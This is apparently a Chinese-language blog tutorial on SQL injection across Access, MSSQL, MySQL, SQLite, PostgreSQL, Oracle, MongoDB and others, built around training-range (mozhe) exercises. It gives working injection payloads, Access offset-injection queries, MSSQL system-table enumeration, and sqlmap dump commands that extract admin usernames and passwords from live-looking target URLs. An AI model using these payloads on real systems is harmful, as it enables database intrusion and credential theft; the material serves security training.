前言

SQL作用在关系型数据库上面,什么是关系型数据库?关系型数据库是由一张张的二维表组成的, 常见的关系型数据库厂商有MySQL、SQLite、SQL Server、Oracle,由于MySQL是免费的,所以企业一般用MySQL的居多。Web SQL是前端的数据库,它也是本地存储的一种,使用SQLite实现,SQLite是一种轻量级数据库,它占的空间小,支持创建表,插入、修改、删除表格数据,但是不支持修改表结构,如删掉一纵列,修改表头字段名等。但是可以把整张表删了。同一个域可以创建多个DB,每个DB有若干张表。
与数据库产生交互就有可能存在注入攻击,不只是MySQL数据库,还有Oracle,MongoDB等数据库也可能会存在注入攻击。

SQLite数据库sql注入 sql注入五种方式_SQLite数据库sql注入

SQLite数据库sql注入 sql注入五种方式_字段_02

简要学习各种数据库的注入特点
数据库架构组成,数据库高权限操作

简要了解各数据库

Access,Mysql,mssql(Microsoft SQL server),mongoDB,postgresql,sqlite,oracle,sybase等

Access
表名
列名
数据

Access数据库保存在网站源码下面,自己网站数据库独立存在,所以无法进行跨库,也没有文件读写的操作。

SQLite数据库sql注入 sql注入五种方式_字段_03

除了Access其他数据库组成架构基本都是大同小异。

mysql mssql等
数据库名A
表名
列名
数据
数据库名B
。。。。。。

每个数据库功能不同,我们采取注入的时候攻入方式不同

什么决定网站注入点用户权限?
数据库配置文件的用户,是谁连接的

Access偏移注入

如果遇到列名猜解不到的情况,则可以使用Access偏移注入

1.原理

借用数据库的自连接查询让数据库内部发生乱序,从而偏移出所需要的字段在我们的页面上显示

2.用途

解决Access数据库中知道表名,但是得不到字段的sql注入困境

3.特点

a. 成功与否看技巧与运气,不能保证100%成功。
b. 无需管理员账号密码字段,直接爆账号密码

4.利用条件

a. 已知管理表名
b. 已知任意字段(一个或多个会增加机率,最常见的就是id)

5.影响偏移注入成功因素

a. 管理表的字段数越少越好(最好是三个:id 账号字段 密码字段)
b. 当前注入点的脚本内查询的表内的字段数越多越好

6.流程

a. 判断字段数
b. 判断表名
c. 开始偏移注入

本地Access偏移注入靶场

SQLite数据库sql注入 sql注入五种方式_表名_04

SQLite数据库sql注入 sql注入五种方式_数据库_05

SQLite数据库sql注入 sql注入五种方式_数据库_06

SQLite数据库sql注入 sql注入五种方式_表名_07

SQLite数据库sql注入 sql注入五种方式_表名_08

SQLite数据库sql注入 sql注入五种方式_表名_09

SQLite数据库sql注入 sql注入五种方式_字段_10

偏移量就是逐步增加或递减,直到出现结果。* 表示可代替的字符串,用 * 代替22,返回界面依旧报错,然后用 * 代替21,依次递减。22-16=6,6表示该表中的列名个数。

SQLite数据库sql注入 sql注入五种方式_表名_11

SQLite数据库sql注入 sql注入五种方式_字段_12

SQLite数据库sql注入 sql注入五种方式_字段_13

*代表6个,后面一串字符代表两倍,就相当于2倍 * ,12个

爆列名数据

一级偏移语句:union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)
二级偏移语句:union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)

SQLite数据库sql注入 sql注入五种方式_SQLite数据库sql注入_14

SQLite数据库sql注入 sql注入五种方式_字段_15

二级偏移,3倍*,所以为18个

SQLite数据库sql注入 sql注入五种方式_SQLite数据库sql注入_16

SQLite数据库sql注入 sql注入五种方式_表名_17

查看登录框源代码的表单值或观察URL特征等也可以针对表或列获取不到的情况

猜解表名可能是ZB_admin,观察网站地址特征,是否有前缀。

SQLite数据库sql注入 sql注入五种方式_数据库_18

或者看登录框表单值

SQLite数据库sql注入 sql注入五种方式_数据库_19

SQL server/MSSQL注入

1.介绍

Microsoft SQL Server 是一个全面的数据库平台,使用集成的商业智能 (BI)工具提供了企业级的数据管理。Microsoft SQL Server 数据库引擎为关系型数据和结构化数据提供了更安全可靠的存储功能,使您可以构建和管理用于业务的高可用和高性能的数据应用程序。

2.过程

①判断数据库类型

and exists (select * from sysobjects)--返回正常为mssql(也名sql server)
and exists (select count(*) from sysobjects)--有时上面那个语句不行就试试这个哈

②判断数据库版本

and 1=@@version--这个语句要在有回显的模式下才可以哦


and substring((select  @@version),22,4)='2008'--适用于无回显模式,后面的2008就是数据库版本,
返回正常就是2008的复制代码第一条语句执行效果图(类似):第二条语句执行效果图:(如果是2008的话就返回正常)

③获取所有数据库的个数 (一下3条语句可供选择使用)

1. and 1=(select quotename(count(name)) from master..sysdatabases)--
2. and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases) --
3. and 1=(select str(count(name))%2b'|' from master..sysdatabases where dbid>5) --
       and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases where dbid>5) --
   说明:dbid从1-4的数据库一般为系统数据库.

⑤获取数据库 (该语句是一次性获取全部数据库的,且语句只适合>=2005,两条语句可供选择使用)

and 1=(select quotename(name) from master..sysdatabases FOR XML PATH(''))--
 and 1=(select '|'%2bname%2b'|' from master..sysdatabases FOR XML PATH(''))--

⑥获取当前数据库

and db_name()>0
and 1=(select db_name())--

⑦获取当前数据库中的表(有2个语句可供选择使用)【下列语句可一次爆数据库所有表(只限于 mssql2005及以上版本)】

and 1=(select quotename(name) from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))-- 
and 1=(select '|'%2bname%2b'|' from 数据库名..sysobjects where xtype='U'  FOR XML PATH(''))--

⑧获得表里的列
一次爆指定表的所有列(只限于mssql2005及以上版本):

and 1=(select quotename(name) from 数据库名..syscolumns where id =(select  id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))-- 
and 1=(select '|'%2bname%2b'|' from 数据库名..syscolumns where id =(select  id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--

⑨获取指定数据库中的表的列的数据库
逐条爆指定表的所有字段的数据(只限于mssql2005及以上版本):
and 1=(select top 1 * from 指定数据库..指定表名 where排除条件 FOR XML PATH(''))--
一次性爆N条所有字段的数据(只限于mssql2005及以上版本):
and 1=(select top N * from 指定数据库..指定表名 FOR XML PATH(''))--复制代码第一条语句:and 1=(select top 1 * from 指定数据库..指定表名 FOR XML PATH(''))--测试效果图:----------------------------------加上where条件筛选结果出来会更加好,如:where and name like '%user%' 就会筛选出含有user关键词的出来。用在筛选表段时很不错。
转自:http://www.myhack58.com/Article/html/3/8/2015/63146.htm

PostgraSQL注入原理

https://www.webshell.cc/524.htmlhttps://www.jianshu.com/p/ba0297da2c2e

Oracle注入


MongoDB注入

SQLite数据库sql注入 sql注入五种方式_表名_20


https://www.secpulse.com/archives/3278.html

各数据库手工注入

1.MySQL:

1.找到注入点 and 1=1 and 1=2 测试报错

2.order by 5 # 到5的时候报错,获取字段总数为4

3.id=0(不是1就行,强行报错) union select 1,2,3,4 # 联合查询,2和3可以显示信息

4.获取数据库信息

user() ==>root
database() ==>mozhe_Discuz_StormGroup
version() ==>5.7.22-0ubuntu0.16.04.1

5.获取数据库表

table_name 表名
information_schema.tables 系统生成信息表
table_schema=数据库名16进制或者用单引号括起来
改变limit 0,1中前一个参数,得到两个表 StormGroup_member notice

6.获取列名

结果如下 id,name,password,status

7.脱库

2.Access:

1.and 1=2 报错找到注入点

2.order by 获取总字段

3.猜解表名 and exists (select * from admin) 页面返回正常,说明存在admin表

4.猜解列名 and exists(select id from admin) 页面显示正常,admin表中存在id列 username,passwd 同样存在

5.脱裤 union select 1,username,passwd,4 from admin

3.MSSQL:

1.and 1=2报错

2.order by N# 获取总字段

3.猜表名 and exists(select * from manage) 表名manage存在

4.猜解列名 and exists(select id from manage) 列名id存在,同样username,password也存在

5.脱裤

and exists (select id from manage where id=1 ) 证明id=1存在
and exists (select id from manage where%20 len(username)=8 and id=1 ) 猜解username字段长度为8
and exists (select id from manage where%20 len(password)=16 and id=1 ) 猜解password字段长度为16
可用Burp的Intruder功能辅助猜解
猜解username第1到8位的字符,ASCII转码 admin_mz
猜解password第1到16位的字符,ASCII转码(Burp 爆破)
转ASCII的py脚本:
72e1bfc3f01b7583 MD5解密为97285101

4.SQLite:

1.找注入点 and 1=1

2.order by N 猜字段 4

3.猜数据库

offset ==>0~2
有三个数据库:
WSTMart_reg
notice_sybase
sqlite_sequence

4.猜列

共有3个字段:
id,name,password

5.脱裤

5.MongoDB:

1.id=1′ 单引号注入报错

2.闭合语句,查看所有集合

3.查看指定集合的数据
[0] 代表第一条数据,可递增

6.DB2:

1.and 1=2 判断注入点

2.order by N 获取字段数

3.爆当前数据库

GAME_CHARACTER

4.列表

NAME

5.脱裤

7.PostgreSQL:

1.and 1=2 判断注入点

2.order by N 获取字段

3.爆数据库

4.列表

5.列字段

6.拖库

8.Sybase数据库:

1.and 1=2 判断注入点

2.order by N 获取总字段

3.爆数据库

4.列表

5.列字段

6.查状态

结果为:zhang

7.反选爆用户名

结果为:mozhe

8.猜解密码

9.Oracle:

1.and 1=1

2.order by

3.爆数据库

4.列表

5.列字段

6.拖库

加上状态:1 where STATUS=1

SQLite数据库sql注入 sql注入五种方式_表名_21

案例演示

1.Access注入

用sqlmap判断数据库类型

SQLite数据库sql注入 sql注入五种方式_SQLite数据库sql注入_22

尝试猜字段数,order by 5时网页有回显,所以字段数为4

http://219.153.49.228:46604/new_list.asp?id=1 order by 5

SQLite数据库sql注入 sql注入五种方式_数据库_23

Access只是单纯的数据库,只有数据,没有数据库名,数据库版本,操作系统等功能,没有information_shcema。可直接查询数据,获取表名,列名。尝试联合注入查询时没有反应

http://219.153.49.228:46604/new_list.asp?id=-1  union select 1,2,3,4

SQLite数据库sql注入 sql注入五种方式_字段_24

用猜解方式猜解表名,列名(常用的一些表名,如admin,admin_login等)网页出现回显

http://219.153.49.228:46604/new_list.asp?id=-1 union select 1,2,3,4 from admin

SQLite数据库sql注入 sql注入五种方式_数据库_25

在回显位尝试猜解字段

SQLite数据库sql注入 sql注入五种方式_表名_26

SQLite数据库sql注入 sql注入五种方式_数据库_27

使用sqlmap跑出来的结果是一样的:

sqlmap -u http://219.153.49.228:49010/new_list.asp?id=1 -T admin --colimns

SQLite数据库sql注入 sql注入五种方式_SQLite数据库sql注入_28

sqlmap -u http://219.153.49.228:49010/new_list.asp?id=1 -T admin -C username,passwd --dump

SQLite数据库sql注入 sql注入五种方式_表名_29

2.Access偏移注入

1.偏移注入的使用
目前猜测出了表名,但是怎么都猜不出列名,使用联合查询法来进行偏移注入

SQLite数据库sql注入 sql注入五种方式_表名_30

接下来测出偏移量,其实这个偏移量就是admin这张表的列的个数。直接将22改成*号,测试是否回显正常,不正常就一直往前减,一直减少到回显正常为止。

SQLite数据库sql注入 sql注入五种方式_SQLite数据库sql注入_31

这里运气比较好,直接就爆出了密码。但是还没有用户名呢,那么接下来可以打乱顺序来重置爆出来的结果,这里可以使用下列方法来进行完成。

SQLite数据库sql注入 sql注入五种方式_字段_32

从图中可以看出已经爆出了用户名为admin了

2.简单说下语句,

UNION SELECT 1,2,3,* from (admin as a inner join admin as b on a.id=b.id)

首先为什么从union select 1,2,3,4,5,6,* from变成了1,2,3,* 呢,是这样推导出来的:

  • order by 9代表有9个回显点
  • 1,2,3,4,5,6, * 代表admin表的字段数只有3个
  • admin表变成了(admin as a inner join admin as b on a.id=b.id),这里是将admin重命名为了a和b两张表,然后通过inner join 将a表和b表的id相同字段展示出来,a表和b表本来都是admin表,所以id肯定都是相同的(这里要提醒一下,id这个字段可以换成其它字段,但是一定得存在,一般admin表中都存在id字段的),这样做的目的就是可以打乱顺序来爆出其它字段
  • 但是由于增加了一张表,所以字段数得再减少一个*号的长度,所以就从6变成了3。

3.偏移注入的进阶
这样爆东西非常有随机性,如果表的字段比较多,而这个显示位又比较少的话,是很有可能爆不出自己想要的东西的,所以接下来学习偏移注入进阶

同样通过order by 和union select找到了表为admin,但是还是扫不出列名,这次回显点有22个。

SQLite数据库sql注入 sql注入五种方式_字段_33

测试admin的列的个数,最终长度为6,而且这次什么都没爆出来

SQLite数据库sql注入 sql注入五种方式_表名_34

开始偏移注入,爆出的结果却是时间

SQLite数据库sql注入 sql注入五种方式_数据库_35

此时可以增加a.id或者b.id或者a.id和b.id一起加上去来打乱随机的顺序,时间确实换了,但是又不是我们想要的,这只是一个数字,可能是id值之类的

SQLite数据库sql注入 sql注入五种方式_SQLite数据库sql注入_36

查看网页的源代码,会有隐藏的惊喜

SQLite数据库sql注入 sql注入五种方式_表名_37

发现这里有隐藏起来的回显点,爆出来了用户名为admin,但是还没有密码

增加表的个数,修改代码,UNION SELECT 1,2,3,4,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id),查看源代码,成功拿到用户名和密码了。

SQLite数据库sql注入 sql注入五种方式_SQLite数据库sql注入_38

3.SQL server/mssql

https://www.mozhe.cn/bug/detail/SXlYMWZhSm15QzM1OGpyV21BR1p2QT09bW96aGUmozhe

SQLite数据库sql注入 sql注入五种方式_字段_39

通过pangolin获取所需数据:

SQLite数据库sql注入 sql注入五种方式_SQLite数据库sql注入_40

SQLite数据库sql注入 sql注入五种方式_字段_41

还可以进行命令执行和文件管理

SQLite数据库sql注入 sql注入五种方式_表名_42

SQLite数据库sql注入 sql注入五种方式_字段_43

SQLite数据库sql注入 sql注入五种方式_SQLite数据库sql注入_44

key

SQLite数据库sql注入 sql注入五种方式_字段_45

4.手工注入

判断是否是Mssql
判断是否是mssql数据库,返回正常,说明该数据库是mssql

SQLite数据库sql注入 sql注入五种方式_数据库_46

判断数据库版本号,返回正常,说明版本号正确.

SQLite数据库sql注入 sql注入五种方式_表名_47

判断字段长度
order by 4正常,遍历至5时报错,说明字段长度为4

SQLite数据库sql注入 sql注入五种方式_SQLite数据库sql注入_48

SQLite数据库sql注入 sql注入五种方式_数据库_49

寻找字符型显示位

http://219.153.49.228:44626/new_list.asp?id=-2 union all select null,null,null,null

这里使用的是 union all,它和 union select 的区别就是:union select 会自动去除一些重复的字段,在这个靶场使用 union select 是不行的,所以用 union all。使用null 是说明它无关是字符型还是数字型

SQLite数据库sql注入 sql注入五种方式_SQLite数据库sql注入_50

猜测显示位

http://219.153.49.228:44626/new_list.asp?id=-2 union all select '1',null,null,null

SQLite数据库sql注入 sql注入五种方式_SQLite数据库sql注入_51

http://219.153.49.228:44626/new_list.asp?id=-2 union all select null,'2',null,null

SQLite数据库sql注入 sql注入五种方式_表名_52

http://219.153.49.228:44626/new_list.asp?id=-2 union all select null,'2','3',null

SQLite数据库sql注入 sql注入五种方式_数据库_53

查询相关信息
获取版本信息

http://219.153.49.228:44626/new_list.asp?id=-2 union all select null,@@version,'3',null

SQLite数据库sql注入 sql注入五种方式_字段_54

获取数据库名

http://219.153.49.228:44626/new_list.asp?id=-2 union all select null,db_name(),'3',null

SQLite数据库sql注入 sql注入五种方式_表名_55

获取当前用户名

http://219.153.49.228:44626/new_list.asp?id=-2 union all select null,user,'3',null
http://219.153.49.228:44626/new_list.asp?id=-2 union all select null,system_user,'3',null
http://219.153.49.228:44626/new_list.asp?id=-2 union all select null,current_user,'3',null

SQLite数据库sql注入 sql注入五种方式_SQLite数据库sql注入_56

SQLite数据库sql注入 sql注入五种方式_字段_57

SQLite数据库sql注入 sql注入五种方式_表名_58

查询表名

http://219.153.49.228:44626/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',4

SQLite数据库sql注入 sql注入五种方式_表名_59

http://219.153.49.228:44626/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),'3',4

注释:name not in ('manage') 这段语句意思是查询 name 不是 'manage' 的,这样就可以排除 'manage' 从而查询下一个表名

SQLite数据库sql注入 sql注入五种方式_数据库_60

announcement之后还是manage,说明就这俩表

SQLite数据库sql注入 sql注入五种方式_表名_61

获取列名

http://219.153.49.228:44626/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null

注释:col_name 是查询的列名,object_id('manage')是从manage这个表里查询,1 代表的是查询第一个列名

SQLite数据库sql注入 sql注入五种方式_表名_62

这边查询出来第一个列名是 id,我们继续查第二个列名只需要把数字1修改为2就行了col_name(object_id('manage'),2

http://219.153.49.228:44626/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),2) from sysobjects),null,null

SQLite数据库sql注入 sql注入五种方式_数据库_63

查询出来第二个列名是 username,我们继续查询第三个列名:

http://219.153.49.228:44626/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),3) from sysobjects),null,null

SQLite数据库sql注入 sql注入五种方式_字段_64

获取数据

http://219.153.49.228:44626/new_list.asp?id=-2 union all select null,username,password,null from manage

SQLite数据库sql注入 sql注入五种方式_SQLite数据库sql注入_65

4.PostgraSQL

https://www.mozhe.cn/bug/detail/ZUd5cld1TU9zdEJ0NWFaSTNXeERRdz09bW96aGUmozhe

字段

SQLite数据库sql注入 sql注入五种方式_字段_66

sqlmap判断数据库种类

SQLite数据库sql注入 sql注入五种方式_字段_67

SQLite数据库sql注入 sql注入五种方式_SQLite数据库sql注入_68

查看表名

SQLite数据库sql注入 sql注入五种方式_表名_69

SQLite数据库sql注入 sql注入五种方式_数据库_70

查看字段名

SQLite数据库sql注入 sql注入五种方式_SQLite数据库sql注入_71

查看字段值

SQLite数据库sql注入 sql注入五种方式_字段_72

5.oracle

https://www.mozhe.cn/bug/detail/ZUd5cld1TU9zdEJ0NWFaSTNXeERRdz09bW96aGUmozhe

SQLite数据库sql注入 sql注入五种方式_数据库_73

SQLite数据库sql注入 sql注入五种方式_数据库_74

6.mongoDB

https://www.mozhe.cn/bug/detail/YXlRYUJPYk1vQjAreHlweVAyMzVTUT09bW96aGUmozhe

NoSQLAttack支持mongoDB的注入工具

SQLite数据库sql注入 sql注入五种方式_表名_75

SQLite数据库sql注入 sql注入五种方式_数据库_76

然后输入x返回,输入4进入

SQLite数据库sql注入 sql注入五种方式_表名_77